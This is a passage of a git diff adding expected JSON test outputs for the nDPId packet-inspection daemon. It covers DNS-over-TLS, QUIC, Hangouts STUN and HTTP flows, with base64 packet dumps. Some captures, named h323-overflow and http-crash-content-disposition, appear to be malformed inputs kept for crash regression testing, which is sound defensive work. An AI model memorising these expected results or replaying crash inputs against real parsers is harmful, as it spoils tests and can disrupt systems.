n3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMBLAwAASgDAB0ggCn9KJ2XCNb7ry8hpgGU6pw393hGZZvmzoFNvymkWmgIBAEAjiA8lA1oBI8a8vFGt+VqaY1Oxe5ryAh45uc="} +01119{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":298,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":7,"flow_first_seen":1592553007037,"flow_last_seen":1592553007118,"flow_tot_l4_data_len":3230,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":461,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48210,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","server_names":"dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google","fingerprint":"5B:59:09:FC:7D:50:E6:F7:D1:08:8E:57:42:A2:D8:AE:1F:03:FF:EC"}} +00767{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":119074,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAEjSfIAAHYGK5AICAQEwKgBnwNVvFKvdqDURmVsRoAYAPBSpwAAAQEICn9zYvIAAH2vpuPGZP4JgUyAM7wCOdE4Fc16QU9KxcfuTIhOOPUog3Y3FGW+vpnz9jN1jLRfVrzUArxGxWLXFvRtjHjwsl6SCEkYsNE5RY4uTRDpU9uWBYz91xhpepEE0Quki2+5+Ao69X+zNarzIcksJTy7VNGA9mPObcF2ja\/A0h9v3eN06YBN5Gx+VkaA9eKqoP2Ok\/RNdhaTA3wp4woECZFYPCqog7eqqe\/\/eYo2V4kaFBuDro79ZWnsfyPD\/hfrPae1LgaUONOZb\/c2utzv2C7AVX5Zi9BG0\/aEPCZmoDR5UwzEKpJQ2FHTtCsWAwMABA4AAAA="} +00438{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":120580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0Fg1AAEAGVmTAqAGfCAgEBLxSA1VGZWxGr3abSoAQAWKJ1gAAAQEICgAAfbd\/c2Ly"} +00439{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":121115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0Fg5AAEAGVmPAqAGfCAgEBLxSA1VGZWxGr3ag1IAQAW2EQQAAAQEICgAAfbd\/c2Ly"} +00439{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":121218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0Fg9AAEAGVmLAqAGfCAgEBLxSA1VGZWxGr3ahw4AQAW2DUgAAAQEICgAAfbd\/c2Ly"} +00569{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":136587,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACRFhBAAEAGVgTAqAGfCAgEBLxSA1VGZWxGr3ahw4AYAW2vzgAAAQEICgAAfbt\/c2LyFgMDACUQAAAhIJkSTnDpQIa7DpGzu\/G1gW3LnyV4nS87HvRg7yx7Wl4YFAMDAAEBFgMDACgAAAAAAAAAAFEEa\/B2Ai\/upGK9I+N5Kptl6u7fR82l17fMpb3KE015"} +00843{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":149896,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAFYSgMAAHYGK0oICAQEwKgBnwNVvFKvdqHDRmVso4AYAPBy2wAAAQEICn9zYxIAAH27FgMDAOwEAADoAAGJwADiARwM3mDSTy2KnFOJMzn7skYIQXN0\/2tY\/9Yy+gWv+Ue7CvPIHCD5aJ5WQlCE11QpsnW60kjdl4gNz\/wsv9vCMdmQOOU3d\/dW+j4lHIFbnJmU3tTSxA9x+upSkAMJac8C8bp+qBGFGUs2U4s0Ko+QjjDu9HQyL1\/X\/Gd7VX4r+Vhti3LccpMwsHpiZ0o4JwPuthPI0LbcWoWxWnr4g0fil3IGw6UPbuA\/anPZyjKokO1FvKa0\/kNP2xizN8lpRdvl72lnswNXvfpKBnlVuksDYmrDKAks1HH63C83hGox2x+qiRQDAwABARYDAwAoAAAAAAAAAAA1U+0e0zdH7jZ6YkApz\/r+7sqkbi97MpL\/Yw+KPaFP5w=="} +00657{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":152248,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"EBMx8Tl2ag\/ahpuQCABFAADTFhFAAEAGVcHAqAGfCAgEBLxSA1VGZWyjr3ai54AYAXiZ1AAAAQEICgAAfb9\/c2MSFwMDAJoAAAAAAAAAASvU9Egx87RbkmJ13pZK7LHbvoZqJEW+LMQCXUVUsYXXYOT0A07A9oBhbd3xAqGLJVjanY8YjA+PchbEeksYAxBUebXNWt3CLGgqUZ1zZL2W9RktPfe\/xpJ61Di5ER1tDbATkasN2MFVlbRIP0cM9hu\/oS8YMUya1uNp3pnEVI9bPChlf\/XPzz7so24uZvPXyyE2"} +00439{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592553007,"pkt_ts_usec":169844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0ShMAAHYGLF4ICAQEwKgBnwNVvFKvdqLnRmVtQoAQAPSBbwAAAQEICn9zYyYAAH2\/"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":474,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":133,"flow_first_seen":1592552878549,"flow_last_seen":1592552996502,"flow_tot_l4_data_len":24100,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":181,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48098,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} diff --git a/test/results/gquic.pcap.out b/test/results/gquic.pcap.out new file mode 100644 index 000000000..cd5d27aed --- /dev/null +++ b/test/results/gquic.pcap.out @@ -0,0 +1,3 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"gquic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591876186378,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"10.44.5.25","dst_ip":"216.58.213.163","src_port":61097,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02226{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"gquic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591876186,"pkt_ts_usec":378535,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"6PckTkFdoMWJ9P+XCABFAAVieo1AAIARvdoKLAUZ2DrVo+6pAbsFTko2w1EwNTAIAXaX8XoV5u8AAEU0NFnBgsF5hkBVQ9QcdhAQB7AX4STVuX+cZkTXcyq7Q06MKI3IMV7nn3XwVsYd8lSM2UQ2Mh\/Lz0P54TH133\/BjF8sKcZx48\/VepMyZjozNf6hUhocgBAvamo29IXHVqILxpkl4wjCzjbjeV119chifFcXxaTjllFkxsh3XmLG5348E\/qK2TLLnMy43JAHw6S2e1v2BO4WXkya\/bcrsjPnQYikRvTxH8li9ZflQ5PttsYcSUtQigVmzX+3zu6YljUMgwCKrGbUc4ym0tN37M5ly\/uhm21+A6fvtyySGNQfP7wJOsR1iWGsA6NR+V\/fmgbvfd72gKd0sTHFADbRPSKYDc0XDK\/X8vG8GXGEknHbOT7DGSzLKpHYvLrwIaFjsweHE6gkta44k2oP3lJ5y\/ohylLleMWOzrznvbvHmPDTo6fznFlCwcMwiT5bU7kKdr22dfJC4HZKXgrfdx\/kyr9W7YgF8ndv1gEMp60hGoa3HeIkNrwcimMUj8lo1MQMLSdfIURLgLYuYXeqNU9nrCpCTOHF8rljnTLtemFl5GKnW4QO+Vn8YQU0wC2WniPFD0JOSE\/9\/8uhjdFWVDMbiGWhYk1SCdcSCnwwatMyU\/DcpZqDI25eb58WZqvNqtnsCmojU\/8N4SjVKXFe6sqZF9Vu2GvgHDvSqxDzjeY9qlts4TuIbe+gH+w1MKU7JxNtGZ08YyKdDEVfiklQ\/xyvSgH5AGRqlnD6igJ7NF54pjKD67q+V\/b7AzUVhGIbpajDS4rvn+fDdhXSGqLFbtHNBw9zOlfyLlg3QCkztn+awCGkuUrUQJWRuzHeXcQ9Pm+GTWr4ztxdNe8GOdcH0fw\/02FqwqbZa0xgXb6ogDH\/Z7u3OTt5CsB\/hPp4imvHezect7LAbuRcIJ+tmXKeqwNdUGoyV614kYKA0aTDm4QbBmp4nIg9dspzjXHExZ33U9zxLwZ8DYwQJDoYhywocb4+jKp5OhFT0Egt5ANj4PPsKNBEjNDxnpAKCiI11YkYMyYj1BSFJ2mKW5kFXZ2\/Uk7W0jKMRykBFSaIJ+fwu1W4yhNjDR69KpOGwGw5d47DA9U+Gj7qbRCpjgb1v145AzbIQNTU\/mwU8gqij0o+rVb\/pUEtWMRho\/Yukqvj0PDpk20u\/iMNduvSEQAQLt7IA31zZMJsdzUDXqeH4lvAJTdAXDM+BfHOutfryXO0ilZKrrhbJmj03RyAieSkoI7y9TYI7udqZUukM2QcgXS180FYjb94yLuFlXG0La9U7oT6UzgYEOrDdq4bcoWorhw9j4EjTTcsFMkNO8f65TlicSD0KdGh7ggCR8NtD2qMSi4KIMxq9IHmGPWBJODrdc1+LXcmA3ApoiY81zbK2QPTdK0LHWSdeauC3LCzY9zJ5bEtZvA4hiamdfZl4E5cxC\/raRilWW9+sNuXDrAH9rw48q66KiLSEC63yDpS1q549REO+OCEIx8SKQQoN1W6tspnVZ3EKLwuCby00TS84gP7\/ke1UZsRSUTrMeCETmkIya9DRfJn3gxYto584jg1Sk6Axi4aJ8MlnhdHfC\/0XWQrVM1UOD3\/J3K5XZUZKJ5vUWJzfBTgAe8J4\/heUMD2WmkBuQIER6hh9JGvwyZ2I6vJO7KXsorNCeXZA6iFfdtk90sqEl67LnWUAJmZ\/6NzgV\/JXrGoQRR0uqoWVC\/xj1u+c66MRH8y3Tf8DUoZ1L57SrRzGrkWBB6B2RSkfxWVzZUSCgEgPU4Lp+fnv6pDzh8zifmLUphU5Jycotx7"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"gquic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591876186378,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"10.44.5.25","dst_ip":"216.58.213.163","src_port":61097,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.gstatic.com","user_agent":"canary Chrome\/85.0.4169.0 Windows NT 10.0; Win64; x64"}} diff --git a/test/results/h323-overflow.pcap.out b/test/results/h323-overflow.pcap.out new file mode 100644 index 000000000..1eff6992f --- /dev/null +++ b/test/results/h323-overflow.pcap.out @@ -0,0 +1,2 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"h323-overflow.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946681200000,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":31337,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00415{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"h323-overflow.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"IiIiIiIiIiIiIiIjCABFAAAsRr1AAIAG+9DAqAEBwKgBAnppAFA5fV1j4FJ\/s1AYQD3UwAAAAwAABA=="} diff --git a/test/results/hangout.pcap.out b/test/results/hangout.pcap.out new file mode 100644 index 000000000..cb6e14132 --- /dev/null +++ b/test/results/hangout.pcap.out @@ -0,0 +1,17 @@ +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"hangout.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1468516947751,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"74.125.134.127","dst_ip":"10.89.61.13","src_port":19305,"dst_port":56406,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00534{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516947,"pkt_ts_usec":751092,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEs2cAACwRwp9KfYZ\/Clk9DUtp3FYAcAThAQEAVCESpEJmaHpqc2RpS0drd1gABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFKAHosL2sVKq2EKifFUwLylv3i3sgCgABLYwivQ="} +00581{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"hangout.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1468516947751,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"74.125.134.127","dst_ip":"10.89.61.13","src_port":19305,"dst_port":56406,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.GoogleHangoutDuo","breed":"Acceptable","category":"VoIP"}} +00535{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516948,"pkt_ts_usec":761773,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEtXUAACwRwJFKfYZ\/Clk9DUtp3FYAcMuPAQEAVCESpEJ2bG8rRTlqWDZMSTAABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFD0l9HkkR5C8mDGwDSrC9i\/8E7pdgCgABPT5D+E="} +00534{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516949,"pkt_ts_usec":760074,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEuNIAACwRvTRKfYZ\/Clk9DUtp3FYAcJ51AQEAVCESpEJFNlpieTl0eEswU3gABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFGvaO+U3jhYTDCbM5zzzk6bw5Z+5gCgABA724k8="} +00534{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516950,"pkt_ts_usec":761344,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEuZ4AACwRvGhKfYZ\/Clk9DUtp3FYAcMbxAQEAVCESpEI0V3JrM294eUpQYkUABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFNC9mufBZa6t2mlytRWG+GVqRPeFgCgABFD8O5k="} +00534{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516951,"pkt_ts_usec":755218,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEvAkAACwRuf1KfYZ\/Clk9DUtp3FYAcMoTAQEAVCESpEIzNzUzNHA3SFB5WXkABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFN19ozbT6UHvV6s9ZmQQ8B8JGd90gCgABKablDQ="} +00534{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516952,"pkt_ts_usec":757640,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEvhwAACwRt+pKfYZ\/Clk9DUtp3FYAcOxmAQEAVCESpEJZVDJ0VGJEK204SGUABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFJWVXhm5Uvoi3JpUNIESeZ6JoLq1gCgABDhZ1ac="} +00534{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516953,"pkt_ts_usec":754888,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEwFYAACwRtbBKfYZ\/Clk9DUtp3FYAcFneAQEAVCESpEJMZDV2OWROemh2NmIABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFPNQ0Ul3I9EdSpZrCChGZ1YZ52uCgCgABMUCTGM="} +00534{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516954,"pkt_ts_usec":764174,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEwncAACwRs49KfYZ\/Clk9DUtp3FYAcGR2AQEAVCESpEJ1U2Q0Tlo1R2xkeTIABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFJGzv4QOCWaQcP4krIUJzcYUo0BngCgABMtKdX4="} +00535{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516955,"pkt_ts_usec":760610,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACExN4AACwRsShKfYZ\/Clk9DUtp3FYAcGXOAQEAVCESpEJ0bUVuSE9IalFmSEUABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFP+et246X\/p6Bsq18Xy2JnBo8T+MgCgABKawBk8="} +00536{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516956,"pkt_ts_usec":757370,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEyAIAACwRrgRKfYZ\/Clk9DUtp3FYAcDqgAQEAVCESpEJkVWpoUkNpbGdZcFQABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFOrmWQXYa41B3XVvruXjzfESE5x+gCgABG8RhmQ="} +00536{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516957,"pkt_ts_usec":758423,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEyssAACwRqztKfYZ\/Clk9DUtp3FYAcMLeAQEAVCESpEJPSi9mVlVoL3BCa0IABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFL5ZUAwcmpyOazepX3yamVtAuI7wgCgABAIiS9c="} +00536{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516958,"pkt_ts_usec":757391,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEzakAACwRqF1KfYZ\/Clk9DUtp3FYAcGFZAQEAVCESpEJUT1pjS3pyUUxqVkMABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFCsVuAMLeQM4yH4LZ0ruyypJGZ5vgCgABAK3tMg="} +00537{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516959,"pkt_ts_usec":761943,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACEz3MAACwRppNKfYZ\/Clk9DUtp3FYAcACSAQEAVCESpEIwbERtNENYWTlOSXgABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFLskEr4nSL5TTWv7Gw6qDRufq\/+8gCgABLRf+vQ="} +00537{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516960,"pkt_ts_usec":765333,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACE0JgAACwRpW5KfYZ\/Clk9DUtp3FYAcHRZAQEAVCESpEJQTHJwc3FEeStHK2YABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFDEX\/dQ5fy+SxiE0bgZSagBAyTwBgCgABD1H6LY="} +00536{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"hangout.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1468516961,"pkt_ts_usec":759411,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"CJ4BbNkmACFeRhcmCABFAACE0uIAACwRoyRKfYZ\/Clk9DUtp3FYAcEuMAQEAVCESpEJ3RGRuSlI1b3p6TVQABgAhWWRWSldCNmwzN20xYzhENDpCbU1TU1l3ZHhBT1czSFlYAAAAACAACAABfY2fUviQAAgAFJx22As21z4ewdrKbbQZAFr9rafBgCgABAFQq5M="} diff --git a/test/results/http-crash-content-disposition.pcap.out b/test/results/http-crash-content-disposition.pcap.out new file mode 100644 index 000000000..3afec6526 --- /dev/null +++ b/test/results/http-crash-content-disposition.pcap.out @@ -0,0 +1,18 @@ +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":663977,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPNS7QABABvZlwKgAZ66BAArH4wBQe0WpbgAAAACgAjkINI0AAAIEBbQEAggKABR91QAAAAABAwMG"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} 